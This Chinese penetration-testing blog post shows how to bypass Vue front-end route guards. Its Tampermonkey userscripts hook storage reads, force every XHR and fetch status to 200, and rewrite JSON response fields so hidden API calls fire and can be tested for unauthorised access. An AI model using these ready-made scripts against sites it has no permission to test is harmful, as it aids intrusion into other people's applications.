用JS HOOK来绕过前后端分离的前端鉴权场景
原理是从前端开发的角度去推理绕过的思路:众所周知,前端由我们浏览器展示,相当于所有资源是我们可控的,与服务器响应及配置无关,如果输入一个路由就直接跳转了,什么请求都没触发,我们岂不是不知道接口是否存在未授权的情况?So, We can do it.以VUE为例。
应用场景
是否存在这样一种情况:你通过VUE Route
脚本获取了泄露的路由,但是你拼接路由到URL中的时候,因为没有登录,什么请求都没加载,直接跳转回了/xxx/Login?redirect=/**
类似的路径,这是因为前端鉴权了。前端鉴权需要通过审计JS代码来还原鉴权判断条件。
从开发的角度去思考如何鉴权
粗粗地思考
前后端分离的项目中如何去判断你是否登录:
-
1. 最常见的是从LocalStorage、SessionStorage之类做存储的key中去读取代表你登录的value -
2. 发起一个接口请求,判断响应的值中的结果是否含有登录后的一些标识
接口请求的我们不怕,每个安服仔都会改响应包,我们都是无敌的,所以今天讲的是第一种。
浅浅地理解
上demo
// 路由配置const routes = [ { path: '/', name: 'Home', component: Home }, { path: '/admin', name: 'Admin', component: Admin, meta: { requiresAuth: true } }, // 需要鉴权 { path: '/login', name: 'Login', component: Login },];const router = createRouter({ history: createWebHistory(), routes,});// 假设有一个函数检查登录状态const isAuthenticated = () => { // 这里可以检查 localStorage、Vuex 或其他状态管理工具 return !!localStorage.getItem('token'); // 示例:检查是否有 token};// 全局前置守卫router.beforeEach((to, from, next) => { if (to.meta.requiresAuth && !isAuthenticated()) { // 未登录且访问需要鉴权的页面,重定向到 /login next({ name: 'Login' }); } else { // 已登录或访问不需要鉴权的页面,继续导航 next(); }});export default router;
在路由配置中,/admin
路由的 meta
字段添加 requiresAuth: true
,表示需要鉴权。
我们一直被重定向的请求的重点就在全局路由守卫router.beforeEach
,登录失败就会被路由重定向,所以我们没到加载请求那一步就被拦截重定向了。
再看鉴权逻辑:是从LocalStorage
中获取Key,判断这个Key是否存在。
鹿童真男人!我们只需要用油猴跑个hook代码就可以给他过了!
绕过路由守卫
无脑地copy
// ==UserScript==// @name hook_localStorage_sessionStorage_getItem// @version 2025-04-26// @description 重写 localStorage.getItem 和 sessionStorage.getItem 方法,打印调用堆栈信息。// @author 阿呆攻防// @match *://*/*// @grant none// ==/UserScript==(function() { 'use strict'; // Hook localStorage.getItem const originalLocalStorageGetItem = localStorage.getItem; localStorage.getItem = function(key) { console.log('localStorage.getItem called with key:', key); console.log(new Error().stack); console.log("-----------------------------------------------------------------------------------------------------"); return originalLocalStorageGetItem.apply(localStorage, [key]); }; // Hook sessionStorage.getItem const originalSessionStorageGetItem = sessionStorage.getItem; sessionStorage.getItem = function(key) { console.log('sessionStorage.getItem called with key:', key); console.log(new Error().stack); console.log("-----------------------------------------------------------------------------------------------------"); return originalSessionStorageGetItem.apply(sessionStorage, [key]); };})();
首先我们要把代码放进油猴里,且开启配置,然后只需要打开F12控制台,狠狠地阅读是否有堆栈信息。
由此可见,我们只需要为localStorage补两个参数即可:iotems_token
、User_Info
。
再浅浅地猜测一下Token必然字符串,随便敲个字符串补上;Info必然是个对象,直接补个{}
。
如果我们解决了路由守卫
的话,那么我们就能抓到接口了,能够触发这样的就说明是接口鉴权。
浅浅看一下流量包:
第一道拦路虎已经解决---------绕过路由的拦截。
全局处理异常响应
众所周知,当接口响应不正确的时候我们可能还是不能让页面正确地加载下去,就抓不到更多的流量包,所以我们要上第二步组合拳,当然我们慢慢地改响应包也可以,或者用Fiddler之类直接匹配着直接改。But我什么都不想开只用浏览器能不能实现?可以的,兄弟,包可以的,上脚本。
修改所有的响应状态码为200
// ==UserScript==// @name force_all_status_200// @version 2025-04-26// @description 拦截所有 XMLHttpRequest 和 fetch 请求(包括 GET, POST, PUT, DELETE 等),强制将 JavaScript 中的状态码返回 200。// @author 阿呆攻防// @match *://*/*// @grant none// ==/UserScript==(function() { 'use strict'; // --- 拦截 XMLHttpRequest --- const OriginalXMLHttpRequest = window.XMLHttpRequest; function CustomXMLHttpRequest() { const xhr = new OriginalXMLHttpRequest(); const xhrInfo = { method: '', url: '' }; // 代理 open 方法以捕获请求信息 const originalOpen = xhr.open; xhr.open = function(method, url, async, user, password) { xhrInfo.method = method || 'GET'; // 确保 method 不为空 xhrInfo.url = url; return originalOpen.apply(this, arguments); }; // 定义 status 属性,始终返回 200 Object.defineProperty(xhr, 'status', { get: function() { const originalStatus = this._originalStatus !== undefined ? this._originalStatus : 0; console.log(`XHR [${xhrInfo.method} ${xhrInfo.url}] Original status: ${originalStatus}, Forced to: 200`); return 200; }, configurable: true }); // 捕获原始状态码 xhr.addEventListener('readystatechange', function() { if (this.readyState === OriginalXMLHttpRequest.DONE) { try { Object.defineProperty(this, '_originalStatus', { value: this._originalStatus || this.status, writable: false, configurable: true }); } catch (e) { console.warn('Failed to capture XHR original status:', e); } } }); return new Proxy(xhr, { get(target, prop) { if (prop === 'status') { return 200; } return typeof target[prop] === 'function' ? target[prop].bind(target) : target[prop]; }, set(target, prop, value) { target[prop] = value; return true; } }); } window.XMLHttpRequest = CustomXMLHttpRequest; // --- 拦截 fetch --- const originalFetch = window.fetch; window.fetch = async function(input, init) { // 提取请求方法和 URL const requestInfo = { method: 'GET', // 默认方法 url: '' }; // 处理 input(可以是字符串或 Request 对象) if (typeof input === 'string') { requestInfo.url = input; } else if (input instanceof Request) { requestInfo.url = input.url; requestInfo.method = input.method || 'GET'; } // 覆盖 init 中的方法(如果存在) if (init && init.method) { requestInfo.method = init.method.toUpperCase(); } // 执行原始 fetch 请求 const response = await originalFetch(input, init); // 创建新的 Response 对象,强制 status 为 200 const customResponse = new Response(response.body, { status: 200, statusText: 'OK', headers: response.headers }); // 保存原始状态码用于调试 customResponse._originalStatus = response.status; // 使用 Proxy 拦截 response.status 和 response.ok return new Proxy(customResponse, { get(target, prop) { if (prop === 'status') { console.log(`Fetch [${requestInfo.method} ${requestInfo.url}] Original status: ${target._originalStatus}, Forced to: 200`); return 200; } if (prop === 'ok') { return true; // 强制 response.ok 为 true } return typeof target[prop] === 'function' ? target[prop].bind(target) : target[prop]; } }); };})();
这个使用场景不用解释了吧,XMLHttpRequest.prototype.send
原型修改一下加载事件监听,直接把响应状态码改为200。
强制替换指定的JSON Value
// ==UserScript==// @name modify_xhr_json_response// @version 2025-04-26// @description 拦截 XMLHttpRequest 请求,递归修改响应体 JSON 中多个指定字段的值,支持数组和嵌套对象,特殊处理 data 键值为 null 改为 {}。// @author 阿呆攻防// @match *://*/*// @grant none// ==/UserScript==(function() { 'use strict'; // 配置:要修改的字段和目标值(支持多个) const MODIFY_CONFIG = [ { field: 'success', newValue: '1' }, { field: 'errorCode', newValue: "" }, ]; // 递归修改 JSON 中的指定字段 function modifyJsonRecursively(data, config) { if (!data || typeof data !== 'object') { return data; } // 处理数组 if (Array.isArray(data)) { return data.map(item => modifyJsonRecursively(item, config)); } // 处理对象 const result = { ...data }; for (const key in result) { if (Object.prototype.hasOwnProperty.call(result, key)) { // 特殊处理:当 key 为 'data' 且值为 null 时,改为 {} if (key === 'data' && result[key] === null) { console.log(`Modifying field "${key}" from null to {}`); result[key] = {}; } else { // 检查是否需要修改当前键 const configItem = config.find(item => item.field === key); if (configItem) { console.log(`Modifying field "${key}" from "${result[key]}" to "${configItem.newValue}"`); result[key] = configItem.newValue; } else { // 递归处理嵌套对象或数组 result[key] = modifyJsonRecursively(result[key], config); } } } } return result; } // 保存原始的 XMLHttpRequest.prototype.open const originalXHROpen = XMLHttpRequest.prototype.open; // 重写 open 方法,记录请求信息 XMLHttpRequest.prototype.open = function(method, url, async, user, password) { this._xhrInfo = { method, url }; return originalXHROpen.apply(this, arguments); }; // 保存原始的 XMLHttpRequest.prototype.send const originalXHRSend = XMLHttpRequest.prototype.send; // 重写 send 方法,拦截响应 XMLHttpRequest.prototype.send = function(body) { const xhr = this; // 添加 load 事件监听器 xhr.addEventListener('load', function() { // 仅处理 JSON 响应 if (xhr.getResponseHeader('Content-Type')?.includes('application/json')) { try { // 获取原始响应 const originalResponse = xhr.responseText; const jsonData = JSON.parse(originalResponse); // 递归修改 JSON const modifiedJson = modifyJsonRecursively(jsonData, MODIFY_CONFIG); // 序列化修改后的 JSON const modifiedResponseText = JSON.stringify(modifiedJson); // 打印修改日志 console.log(`XHR [${xhr._xhrInfo.method} ${xhr._xhrInfo.url}] Modified JSON response`); // 劫持 response 和 responseText 属性 Object.defineProperty(xhr, 'responseText', { get: function() { return modifiedResponseText; }, configurable: true }); Object.defineProperty(xhr, 'response', { get: function() { return modifiedResponseText; }, configurable: true }); } catch (e) { console.error(`Failed to modify JSON response for [${xhr._xhrInfo.method} ${xhr._xhrInfo.url}]:`, e); } } }); // 调用原始 send 方法 return originalXHRSend.apply(this, arguments); };})();
此代码需要每次小小地调整,主要就做了两件事:
-
1. 递归JSON响应结果,将我们的key/value的值直接换进去 -
2. 当特定场景即 data: null
的时候给data一个空的对象
修改这里的代码
错误的话success: 0
,我让他success: 1
;错误的话errorCode: "10086"
,我让他errorCode: ""
,这个理解起来都不难吧,那么我们看结果。
2合1脚本
上面两个脚本是冲突的,我们直接上二合一脚本
// ==UserScript== // @name combined_xhr_fetch_modifier // @version 2025-04-26 // @description 拦截 XMLHttpRequest 和 fetch 请求,强制状态码为 200,并递归修改响应体 JSON 中指定字段的值,支持数组和嵌套对象,特殊处理 data 键值为 null 改为 {}。 // @author 阿呆攻防 // @match *://*/* // @grant none // ==/UserScript== (function() { 'use strict'; // 配置:要修改的字段和目标值(支持多个) const MODIFY_CONFIG = [ { field: 'success', newValue: '1' }, { field: 'errorCode', newValue: "" }, ]; // 递归修改 JSON 中的指定字段 function modifyJsonRecursively(data, config) { if (!data || typeof data !== 'object') { return data; } // 处理数组 if (Array.isArray(data)) { return data.map(item => modifyJsonRecursively(item, config)); } // 处理对象 const result = { ...data }; for (const key in result) { if (Object.prototype.hasOwnProperty.call(result, key)) { // 特殊处理:当 key 为 'data' 且值为 null 时,改为 {} if (key === 'data' && result[key] === null) { console.log(`Modifying field "${key}" from null to {}`); result[key] = {}; } else { // 检查是否需要修改当前键 const configItem = config.find(item => item.field === key); if (configItem) { console.log(`Modifying field "${key}" from "${result[key]}" to "${configItem.newValue}"`); result[key] = configItem.newValue; } else { // 递归处理嵌套对象或数组 result[key] = modifyJsonRecursively(result[key], config); } } } } return result; } // --- 拦截 XMLHttpRequest --- const OriginalXMLHttpRequest = window.XMLHttpRequest; function CustomXMLHttpRequest() { const xhr = new OriginalXMLHttpRequest(); const xhrInfo = { method: '', url: '' }; // 代理 open 方法以捕获请求信息 const originalOpen = xhr.open; xhr.open = function(method, url, async, user, password) { xhrInfo.method = method || 'GET'; xhrInfo.url = url; return originalOpen.apply(this, arguments); }; // 定义 status 属性,始终返回 200 Object.defineProperty(xhr, 'status', { get: function() { const originalStatus = this._originalStatus !== undefined ? this._originalStatus : 0; console.log(`XHR [${xhrInfo.method} ${xhrInfo.url}] Original status: ${originalStatus}, Forced to: 200`); return 200; }, configurable: true }); // 捕获原始状态码并修改 JSON 响应 xhr.addEventListener('readystatechange', function() { if (this.readyState === OriginalXMLHttpRequest.DONE) { try { Object.defineProperty(this, '_originalStatus', { value: this._originalStatus || this.status, writable: false, configurable: true }); } catch (e) { console.warn('Failed to capture XHR original status:', e); } } }); // 拦截 load 事件以修改 JSON 响应 xhr.addEventListener('load', function() { if (xhr.getResponseHeader('Content-Type')?.includes('application/json')) { try { const originalResponse = xhr.responseText; const jsonData = JSON.parse(originalResponse); const modifiedJson = modifyJsonRecursively(jsonData, MODIFY_CONFIG); const modifiedResponseText = JSON.stringify(modifiedJson); console.log(`XHR [${xhrInfo.method} ${xhrInfo.url}] Modified JSON response`); // 劫持 response 和 responseText 属性 Object.defineProperty(xhr, 'responseText', { get: function() { return modifiedResponseText; }, configurable: true }); Object.defineProperty(xhr, 'response', { get: function() { return modifiedResponseText; }, configurable: true }); } catch (e) { console.error(`Failed to modify JSON response for [${xhrInfo.method} ${xhrInfo.url}]:`, e); } } }); return new Proxy(xhr, { get(target, prop) { if (prop === 'status') { return 200; } return typeof target[prop] === 'function' ? target[prop].bind(target) : target[prop]; }, set(target, prop, value) { target[prop] = value; return true; } }); } window.XMLHttpRequest = CustomXMLHttpRequest; // --- 拦截 fetch --- const originalFetch = window.fetch; window.fetch = async function(input, init) { const requestInfo = { method: 'GET', url: '' }; if (typeof input === 'string') { requestInfo.url = input; } else if (input instanceof Request) { requestInfo.url = input.url; requestInfo.method = input.method || 'GET'; } if (init && init.method) { requestInfo.method = init.method.toUpperCase(); } const response = await originalFetch(input, init); // 读取原始响应体 const originalBody = await response.text(); let modifiedBody = originalBody; // 处理 JSON 响应 if (response.headers.get('Content-Type')?.includes('application/json')) { try { const jsonData = JSON.parse(originalBody); const modifiedJson = modifyJsonRecursively(jsonData, MODIFY_CONFIG); modifiedBody = JSON.stringify(modifiedJson); console.log(`Fetch [${requestInfo.method} ${requestInfo.url}] Modified JSON response`); } catch (e) { console.error(`Failed to modify JSON response for [${requestInfo.method} ${requestInfo.url}]:`, e); } } // 创建新的 Response 对象,强制 status 为 200 const customResponse = new Response(modifiedBody, { status: 200, statusText: 'OK', headers: response.headers }); customResponse._originalStatus = response.status; return new Proxy(customResponse, { get(target, prop) { if (prop === 'status') { console.log(`Fetch [${requestInfo.method} ${requestInfo.url}] Original status: ${target._originalStatus}, Forced to: 200`); return 200; } if (prop === 'ok') { return true; } return typeof target[prop] === 'function' ? target[prop].bind(target) : target[prop]; } }); }; })();
假如还是不可以我们只能上杀手锏
此次渗透测试未发现安全威胁。
不喜欢复制的那就下载吧
https://github.com/z-bool/adsec_file/tree/main/%E6%B2%B9%E7%8C%B4%E8%84%9A%E6%9C%AC
懒得放云盘了,云盘老是崩了要重新更链接,代码类以后更这个库里。
原文始发于微信公众号(卫界安全-阿呆攻防):油猴|用JS HOOK来绕过前后端分离的前端鉴权场景(含代码)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论